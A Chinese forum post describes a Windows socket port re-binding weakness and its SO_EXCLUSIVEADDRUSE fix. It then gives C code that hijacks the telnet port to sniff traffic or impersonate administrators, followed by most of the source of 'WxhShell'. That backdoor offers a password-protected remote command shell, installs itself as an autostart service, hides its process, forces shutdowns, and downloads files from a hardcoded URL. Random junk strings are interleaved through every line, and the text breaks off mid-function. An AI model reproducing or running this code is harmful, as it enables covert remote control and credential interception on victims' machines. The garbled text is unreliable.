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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LB}y,-vX>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F(*~[*Ff  
K7 >Z)21  
  saddr.sin_family = AF_INET; E6(OEC%,  
'f0*~Wq|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C2RR(n=N^  
:7&#ej6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bl. y4  
eekp&H$'s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~e,k71  
N yT|=`;  
  这意味着什么?意味着可以进行如下的攻击: RUHQ]@d#T  
@T53%v<5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fpbb <Ro  
>SO !{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xE(VyyR  
q{/>hvl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v'Y)~Kv@!  
pE{ZWW[@+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n_5m+ 1N  
L'k )  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )rJ{}U:S  
q]F2bo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T1TKwU8l  
4%wP}Zj#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 My'u('Q%  
?c7 12a ?  
  #include S#+Dfa`8X  
  #include O>e2MT|#k  
  #include e(7F| G*  
  #include    p%) 1(R8qM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rj zRZ  
  int main() GKf,1kns  
  { k(|D0%#b7  
  WORD wVersionRequested; 69{^Vfd;Y  
  DWORD ret; 1U[8OM{$  
  WSADATA wsaData; nb}*IExd  
  BOOL val; +*"u(7AV  
  SOCKADDR_IN saddr; .6Jo1$+  
  SOCKADDR_IN scaddr; E!.>*`)?.  
  int err; 3vx*gfr3  
  SOCKET s; "N'tmzifh  
  SOCKET sc; }C1&}hZ  
  int caddsize; hES_JbX}]  
  HANDLE mt; v%O KOrJ  
  DWORD tid;   4DY\QvW5  
  wVersionRequested = MAKEWORD( 2, 2 ); ((i%h^tGa;  
  err = WSAStartup( wVersionRequested, &wsaData ); hKP7p   
  if ( err != 0 ) { w?^qAj(*d  
  printf("error!WSAStartup failed!\n"); pyA;%vJn  
  return -1; 4%L`~J4 wr  
  } *Dx&}"  
  saddr.sin_family = AF_INET; b#;%TbDF  
   ` #Qlr+X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  pv<$ o  
2QwdDKMS_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O>]I!n`!!A  
  saddr.sin_port = htons(23); ETk4I "  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?+-uF }  
  { _t[RHrs  
  printf("error!socket failed!\n"); B"rV-,n{  
  return -1; L{H` t{ A  
  } qN h:;`  
  val = TRUE; },9Hq~TA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wZv"tbAWLV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KF^5 C  
  { P]]re,&R  
  printf("error!setsockopt failed!\n"); jOL$kiW0  
  return -1; aO :wedfl  
  } G'b*.\=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H_gY)m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MVdX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P|,@En 1!  
X|!Vt O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $ M?VJ\8  
  { A1Tk6i<F1  
  ret=GetLastError(); eUP.:(E  
  printf("error!bind failed!\n"); nrqr p  
  return -1; F_>OpT  
  } J3Ipk-'lx  
  listen(s,2); 64]_o/u5W4  
  while(1) F+yu[Dh:  
  { *?sdWRbu}l  
  caddsize = sizeof(scaddr); DC?U +  
  //接受连接请求 u#9H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tkT:5O6  
  if(sc!=INVALID_SOCKET) uE{r09^q\  
  { ~qFuS933  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gaFOm9y.e  
  if(mt==NULL) ?N*m2rv  
  { E= 3Ui  
  printf("Thread Creat Failed!\n"); -/ 5" Py  
  break; | Q0Wv8/  
  } qffVF|7  
  } fmqHWu*wG  
  CloseHandle(mt); z%ZAN-  
  } "+SnHpNx  
  closesocket(s); [D/q  
  WSACleanup(); }HdibCAOf  
  return 0; } a#RX$d&  
  }   "u#,#z_  
  DWORD WINAPI ClientThread(LPVOID lpParam) p0c*)_a*  
  { sw<GlF"  
  SOCKET ss = (SOCKET)lpParam; /2 V  
  SOCKET sc; y5>X0tT  
  unsigned char buf[4096]; {O24:'K&  
  SOCKADDR_IN saddr; nPlg5&E  
  long num; 05o +VF;z  
  DWORD val; TVy\%FP^L  
  DWORD ret; f]c{,LFvZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TsiI5'tx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BO5\rRa0  
  saddr.sin_family = AF_INET; +5AWX,9,-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l@edR)n <  
  saddr.sin_port = htons(23); {'O,G$Ldkr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l X g.`  
  { MaMP7O|W  
  printf("error!socket failed!\n"); rQE:rVKVh  
  return -1; B=vBJC)  
  } V)|]w[(Y  
  val = 100; HLYog+?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ,2yIKPWk  
  { ](%EQ[  
  ret = GetLastError(); o03Y w)*  
  return -1; P_(QG 6  
  } },r9f MJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _x+)Tv  
  { 3MqyHOOv  
  ret = GetLastError(); mbSG  
  return -1; '!\t!@I$  
  } tk]>\}%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1}=@';cK*  
  { x-E@[=  
  printf("error!socket connect failed!\n"); 4$~A%JN3  
  closesocket(sc);  m$XMq  
  closesocket(ss); wk+| }s  
  return -1; >#u9W'@|  
  } wqx9  
  while(1) LH_VdLds  
  { Sbzx7 *X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N [qNSo|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zE,1zBS<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7{W#i<W  
  num = recv(ss,buf,4096,0); ?WEKRl  
  if(num>0) $[S)A0O  
  send(sc,buf,num,0); M9C v00&  
  else if(num==0) Fy#y.jK9v  
  break; !xD$U/%c  
  num = recv(sc,buf,4096,0); h#:_GNuF  
  if(num>0) L!| `IK  
  send(ss,buf,num,0); 8'<RPU}M  
  else if(num==0) g#*LJ `1  
  break;  4:Ton  
  } (T65pP_P 7  
  closesocket(ss); ]a=n(`l?  
  closesocket(sc); lGhhH _  
  return 0 ; uO^,N**R#  
  } 7T69tQZ<  
xj< K6  
d?6\  
========================================================== ?1afW)`a.v  
zg}#X6\G<_  
下边附上一个代码,,WXhSHELL v#^_|  
'QOV!D  
========================================================== Z [Q jl*  
y8.3tp  
#include "stdafx.h" k-jlYHsA  
9z'(4U  
#include <stdio.h> qk}Mb_*C)  
#include <string.h> ']C" 'b  
#include <windows.h> qsG}A  
#include <winsock2.h> '/U%-/@  
#include <winsvc.h> ]39])ul  
#include <urlmon.h> <^n@q f}  
n_9Wrx328  
#pragma comment (lib, "Ws2_32.lib") 5>\Lk>rI  
#pragma comment (lib, "urlmon.lib") !Bu=?gf  
x'iBEm  
#define MAX_USER   100 // 最大客户端连接数 tBjMm8lgb  
#define BUF_SOCK   200 // sock buffer Ewq7oq5:  
#define KEY_BUFF   255 // 输入 buffer w+][L||4c  
Q$^)z_jai  
#define REBOOT     0   // 重启 -n"7G%$M  
#define SHUTDOWN   1   // 关机  i|!D  
?{]"UnyVE*  
#define DEF_PORT   5000 // 监听端口 yc7 "tptfF  
INNTp[  
#define REG_LEN     16   // 注册表键长度 WQ1K8B4  
#define SVC_LEN     80   // NT服务名长度 bMGU9~CeJ  
6[T)Q^0`  
// 从dll定义API FT;I|+H*P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |Duf 3u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cv7.=*Kb;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -~NjZ=vPh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j V'~>  
SYYg 2I  
// wxhshell配置信息 WR zIK09@  
struct WSCFG { k=  
  int ws_port;         // 监听端口 GLiD,QX<  
  char ws_passstr[REG_LEN]; // 口令 R<Uu(-O-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;s^F:O  
  char ws_regname[REG_LEN]; // 注册表键名 ^!7|B3`  
  char ws_svcname[REG_LEN]; // 服务名 vSv:!5*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f>[!Zi*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '>Uip+'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hdda/?{b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9jJ:T$}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  K)P].htw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F7&Oc)f"B  
7<zI'^l  
}; Ksb55cp`  
+![\7  
// default Wxhshell configuration l<UJ@XID$  
struct WSCFG wscfg={DEF_PORT, {(5M)|>  
    "xuhuanlingzhe", jc7NYoT:  
    1, A3A"^f$$  
    "Wxhshell", {s3j}&  
    "Wxhshell", Ou5,7Ne  
            "WxhShell Service", 0 czEA  
    "Wrsky Windows CmdShell Service", BDcA_= ^R&  
    "Please Input Your Password: ", h,x'-]q  
  1, O[5u6heNMr  
  "http://www.wrsky.com/wxhshell.exe", JL=s=9N;3  
  "Wxhshell.exe" 8z`Ne(h;  
    }; A)HV#T`N  
;@/vKA3l.  
// 消息定义模块 Lw<%?F (  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iX6'3\Q3A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #vPf$y6jCI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x}7`Q:k=  
char *msg_ws_ext="\n\rExit."; %0lJ(hm  
char *msg_ws_end="\n\rQuit."; yL"pzD`[H  
char *msg_ws_boot="\n\rReboot..."; 9V?:!%J  
char *msg_ws_poff="\n\rShutdown..."; TIVrbO\!o  
char *msg_ws_down="\n\rSave to "; nA.~}  
%)}y[ (  
char *msg_ws_err="\n\rErr!"; pVC; ''E  
char *msg_ws_ok="\n\rOK!"; OcZ8:`=%  
;hkzL_' E)  
char ExeFile[MAX_PATH]; !3Ed0h]Bfa  
int nUser = 0; 8gXf4A(N  
HANDLE handles[MAX_USER]; ~Aoo\fN_U  
int OsIsNt; Ji;R{tZ.R  
vFH1hm  
SERVICE_STATUS       serviceStatus; P3+?gW'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qe4"a*l-r  
"a]Ff&T-  
// 函数声明 1J[|Ow  
int Install(void); T UO*w  
int Uninstall(void); ; 2Za]%'  
int DownloadFile(char *sURL, SOCKET wsh); *v0}S5^ /"  
int Boot(int flag); 89l{h8R  
void HideProc(void); T]y^PT<8?  
int GetOsVer(void); C^9bur/  
int Wxhshell(SOCKET wsl); la*c/*  
void TalkWithClient(void *cs); (nt=  
int CmdShell(SOCKET sock); q|xic>.  
int StartFromService(void); )kt,E}609  
int StartWxhshell(LPSTR lpCmdLine); mVEHVz $  
EM0]"s@Lf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BLcsIyq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?vocI  
$#7~  
// 数据结构和表定义  rhO 8v  
SERVICE_TABLE_ENTRY DispatchTable[] = {"@E_{\  
{ +^V%D!.$@  
{wscfg.ws_svcname, NTServiceMain}, nI<Ab_EB  
{NULL, NULL} |emZZj  
}; ]?n~?dD{]  
lPOcX'3\  
// 自我安装 Nh+ZSV4WJ:  
int Install(void) .>+jtp}  
{ f}? q  
  char svExeFile[MAX_PATH]; A"no!AN  
  HKEY key; '`/w%OEVC5  
  strcpy(svExeFile,ExeFile); U Y')|2y 5  
6dQ]=];  
// 如果是win9x系统,修改注册表设为自启动 .+2@(r  
if(!OsIsNt) { cP &XkAQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { , zg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;&U! g&  
  RegCloseKey(key); [B"CNnA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WoX,F1o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~JSa]6:_+  
  RegCloseKey(key); 1xt N3{c  
  return 0; ZY{zFg9  
    } ^laf!kIP  
  } 4KT-U6zNx  
} UWW_[dJr   
else { %N0cp@Vz  
0Lki (  
// 如果是NT以上系统,安装为系统服务 oK{H <79  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =d`/BDD  
if (schSCManager!=0) ui4*vjd  
{ OVf%m~%&s  
  SC_HANDLE schService = CreateService (d$ksf_[%f  
  ( Kk<MS$Ov  
  schSCManager, Yn1CU  
  wscfg.ws_svcname, dT4e[4l  
  wscfg.ws_svcdisp, DTp|he  
  SERVICE_ALL_ACCESS, F]7$Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G,JK$j>*l  
  SERVICE_AUTO_START, 3m59EI-p  
  SERVICE_ERROR_NORMAL, -3eHJccB  
  svExeFile, )kuw&SH,  
  NULL, ^. ; x  
  NULL, XY1b_uY  
  NULL, `o,D[Jd  
  NULL, LSN%k5G7.  
  NULL Tv`-h  
  ); kr6^6I.  
  if (schService!=0) +oe%bk|A  
  { 84UI)nE:Q  
  CloseServiceHandle(schService); ?~s23%E  
  CloseServiceHandle(schSCManager); *d;D~"E<@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }~3 %KHT  
  strcat(svExeFile,wscfg.ws_svcname); R8YA"(j!L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h!UB#-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /ng +IC3  
  RegCloseKey(key); PTFe>~vr*  
  return 0; M~#% [?iU  
    } 7n*[r*$  
  } of>"qrdZ  
  CloseServiceHandle(schSCManager); RmcQGQ  
} K^fH:pV  
} a>/cVu'kz  
GUqhm$6a  
return 1; DV">9{"5']  
} a54qv^IS  
PDH00(#;+  
// 自我卸载 KD)+& 69  
int Uninstall(void) N0 F|r8xS  
{ !JE=QG"  
  HKEY key; qD?-&>dBWi  
=Zc Vywz;+  
if(!OsIsNt) {  T%p/(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )i{B:w\ ^  
  RegDeleteValue(key,wscfg.ws_regname); =(U&?1R4  
  RegCloseKey(key); c<J/I_!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WG?;Z  
  RegDeleteValue(key,wscfg.ws_regname); soi.`xE  
  RegCloseKey(key); r7=r~3)  
  return 0; g4fe(.?c,  
  } Z_Z; g]|!  
} T6=q[LpsKN  
} %HK\  
else { {Y#$  
rS/}!|uAu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >:yU bo)  
if (schSCManager!=0) 4:S?m(ah/  
{ x&PVsXdt5m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,@*Srrw  
  if (schService!=0) uY'77,G_J  
  { i9%cpPrg8  
  if(DeleteService(schService)!=0) { S0uEz;cE  
  CloseServiceHandle(schService); %juR6zB%8  
  CloseServiceHandle(schSCManager); F4%vEn\!  
  return 0; 5v@-.p  
  } ywS2` (  
  CloseServiceHandle(schService); qq1@v0  
  } Z}*{4V`R  
  CloseServiceHandle(schSCManager); 1__Mf.A  
} Ar:ezA  
} GDUOUl&  
bRzw.(k0`r  
return 1; \L@DDK|"`6  
} ]E/~PV  
3] u[NR  
// 从指定url下载文件 <h7FS90S  
int DownloadFile(char *sURL, SOCKET wsh) TUaW'  
{ "X7;^yY  
  HRESULT hr; Q lg~S1D_v  
char seps[]= "/"; *He%%pk  
char *token; u:FFZ  
char *file; ' 3MCb  
char myURL[MAX_PATH]; B}YpIb]d  
char myFILE[MAX_PATH]; ozr82  
 T.{sO`  
strcpy(myURL,sURL); 'QrvkQ  
  token=strtok(myURL,seps); ZSo#vQ  
  while(token!=NULL) %tRQK$]c  
  { lIlmXjL0  
    file=token; ^KeJ=VT  
  token=strtok(NULL,seps); ].C4RH  
  } jg7 WMH"`  
}&{z-/;H  
GetCurrentDirectory(MAX_PATH,myFILE); E 3a^)S{  
strcat(myFILE, "\\"); n)'5h &#  
strcat(myFILE, file); l5R0^!t  
  send(wsh,myFILE,strlen(myFILE),0); N3`EJY_|V  
send(wsh,"...",3,0); _ Db05:r@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); keYvscRBI  
  if(hr==S_OK) :~1sF_  
return 0; ,GH;jw)P  
else >){"x(4`  
return 1; :GaK.W q  
iO,_0Y4  
} D@cv{ _M/  
8'Y7lOXS  
// 系统电源模块 c< P ML|e  
int Boot(int flag) t'{\S_  
{ U0Y;*_>4  
  HANDLE hToken; fZ*LxL  
  TOKEN_PRIVILEGES tkp; .<Lbv5m  
P e\AH  
  if(OsIsNt) { RrPo89o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +TQMA >@g<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !k= ~5)x  
    tkp.PrivilegeCount = 1; nbGB84  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #`>46T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #s-^4znv9  
if(flag==REBOOT) { dD Zds k+!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HaUfTQ8  
  return 0;  d Xiv8B1  
} xp4w9.X5(  
else { yl=_ /'*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }95;qyQ$  
  return 0; E_[)z%&n2  
} *61+Fzr  
  } q*^F"D:?k  
  else { H*Tc.Ie  
if(flag==REBOOT) { [9:'v@Ph  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JF vVRGWB  
  return 0; RKY~[IQ,  
} 9EE},D  
else { P9\!JH!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y}/e" mp  
  return 0; `a!:-.:v  
} !p4y@U{  
} p..O;_U  
(|F} B  
return 1; c)HHc0KD  
} 9b/7~w.  
_7O;ED+  
// win9x进程隐藏模块 |Mm9QF;iA  
void HideProc(void) H</Mh*Fl2G  
{ 0M'[|ci d|  
VGVZ`|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [CBhipoc  
  if ( hKernel != NULL ) QBNnvg4v  
  { a*pwVn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g@va@*|~d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0!:1o61  
    FreeLibrary(hKernel); &7{/ x~S{  
  } U8T"ABvFP  
B4<W%lm  
return; '>}dqp{Wr  
} [&Z3+/lR*  
#DN5S#Ic  
// 获取操作系统版本 @-~ )M_  
int GetOsVer(void) Q UQ"2oC  
{ m5G9 B-\?  
  OSVERSIONINFO winfo; TJB) ]d<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {G+pI2^  
  GetVersionEx(&winfo); O%g%*9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X/ \5j   
  return 1; g `)5g5  
  else abHW[VP9  
  return 0; Vu%XoI)<KY  
} vBM uVpzO  
Xy74D/ocui  
// 客户端句柄模块 P~>E  
int Wxhshell(SOCKET wsl) j=%^CRum  
{ hU}!:6G%[P  
  SOCKET wsh; 98%M`WY  
  struct sockaddr_in client; :N826_q  
  DWORD myID; 6(Qr!<  
tj:Q]]\M  
  while(nUser<MAX_USER) b)SU8z!NV&  
{ 8fn7!  
  int nSize=sizeof(client); #SHmAB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xm|Uz`A;  
  if(wsh==INVALID_SOCKET) return 1; f1a >C  
3H_mR j9th  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >d`XR"_e  
if(handles[nUser]==0) Y1?"Ut  
  closesocket(wsh); /-#1ys#F=  
else 'E4`qq  
  nUser++; !Od?69W, $  
  } Qg7rkRia  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a w0;  
& *^FBJEa.  
  return 0; ]vyu!  
} X `[P11`  
];-DqK'  
// 关闭 socket qfO=_z ES  
void CloseIt(SOCKET wsh) ^1a/)Be{_  
{ dF d^@b  
closesocket(wsh); OX"^a$  
nUser--; vZgV/?'z  
ExitThread(0); _^)Wrf+  
} *Cdw"n  
+h64idM{U  
// 客户端请求句柄 6,ZfC<)  
void TalkWithClient(void *cs) `]Uu`b  
{ 69 PTo  
'f#i@$|]  
  SOCKET wsh=(SOCKET)cs; +<G |Ru-  
  char pwd[SVC_LEN]; p19[qy~.  
  char cmd[KEY_BUFF]; @>wD`<U|  
char chr[1]; FS3MR9  
int i,j; A`=;yD  
.4M8  
  while (nUser < MAX_USER) { )HrFWI'Y  
Ub0hISA  
if(wscfg.ws_passstr) { !)jw o=l}J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W+A-<Rh\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tQSj[Yl  
  //ZeroMemory(pwd,KEY_BUFF); Qy)+YhE  
      i=0; Xq3n7d.  
  while(i<SVC_LEN) { LvWl*:z  
,0'Yj?U>  
  // 设置超时 ")/TbT Vu  
  fd_set FdRead; hX-([o  
  struct timeval TimeOut; vv2N;/;I  
  FD_ZERO(&FdRead); y_^w|  
  FD_SET(wsh,&FdRead); _RLx;Tn)L  
  TimeOut.tv_sec=8; E8TJ*ZU  
  TimeOut.tv_usec=0; U Hej5-B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y Iab3/#`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9uXuV$.  
IETdL{`~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q P<n<  
  pwd=chr[0]; Sv*@3x  
  if(chr[0]==0xd || chr[0]==0xa) { ISQC{K']J  
  pwd=0; }Pm>mQZ},  
  break; -S7PnR6  
  } dXkgWLI~  
  i++; "4VC:"$f  
    } ?[$=5?  
BrW1:2w >\  
  // 如果是非法用户,关闭 socket ;2o+|U@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pK)*{fC$`  
} p^2"g~  
i\P?Y(-{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); - nWs@\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :NB,Dz+i  
}E01B_T9z  
while(1) { XA cpLj]  
ep"YGx  
  ZeroMemory(cmd,KEY_BUFF); 64Ot`=A"  
4_CV.?  
      // 自动支持客户端 telnet标准   /UJ@e  
  j=0; 87/!u]q  
  while(j<KEY_BUFF) { 9n$0OH /q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '64&'.{#>r  
  cmd[j]=chr[0]; >28.^\?H4  
  if(chr[0]==0xa || chr[0]==0xd) { 4$~]t:n  
  cmd[j]=0; RwH<JaL:  
  break; |{#=#3X  
  } T5mdC  
  j++; .YvE  
    } R3MbTg  
Km~\^(a '  
  // 下载文件 ya81z4?  
  if(strstr(cmd,"http://")) { 1B;-ea  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =1dU~B:Lm  
  if(DownloadFile(cmd,wsh)) O"otzla  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5zebH  
  else %5X}4k!p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); go, Hfb  
  } N4 O'{  
  else { ^y.e Fz  
S.;>:Dd[K  
    switch(cmd[0]) { 9m2_zfO[ w  
  8\-Q(9q(  
  // 帮助 IAr  
  case '?': { HaP0;9q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eqt+EiH   
    break; e*O-LI2O  
  } 3Lxk7D>0c  
  // 安装 +39Vxe:Oy  
  case 'i': { -Yaw>$nJ  
    if(Install()) x+V;UD=mH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a:C'N4K  
    else >*xa\ve  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }*!7 Vrep  
    break; Tct[0B  
    } ^ <Z^3c>/  
  // 卸载 FzOr#(^  
  case 'r': { cD-.thHO  
    if(Uninstall()) <1(:W[M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@c fR  
    else M@a?j<7P,m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zu<8%  
    break; 1Aq*|JSk(  
    } stnyJ9  
  // 显示 wxhshell 所在路径 lO/<xSjNd  
  case 'p': { By=/DVm)=  
    char svExeFile[MAX_PATH]; qyP|`Pm4  
    strcpy(svExeFile,"\n\r"); zy(i]6  
      strcat(svExeFile,ExeFile); 1'5I]D ec  
        send(wsh,svExeFile,strlen(svExeFile),0); ZeD""vJRY  
    break; )oOcV%  
    } @MfuV4*  
  // 重启 O?uT'$GT  
  case 'b': { )z0qKb \  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rn O%8Hk  
    if(Boot(REBOOT)) !XjvvX"j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ({3hX"C@Q  
    else { M\wIpRD,  
    closesocket(wsh); xCH,d:n=  
    ExitThread(0); L[zg2y  
    } KlgPDV9mg  
    break; sQ65QJtt0A  
    } fH.:#O:  
  // 关机 %K^l]tWa@  
  case 'd': { \Nc/W!r*9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -GkNA"2M[  
    if(Boot(SHUTDOWN)) ~L!*p0dS^  
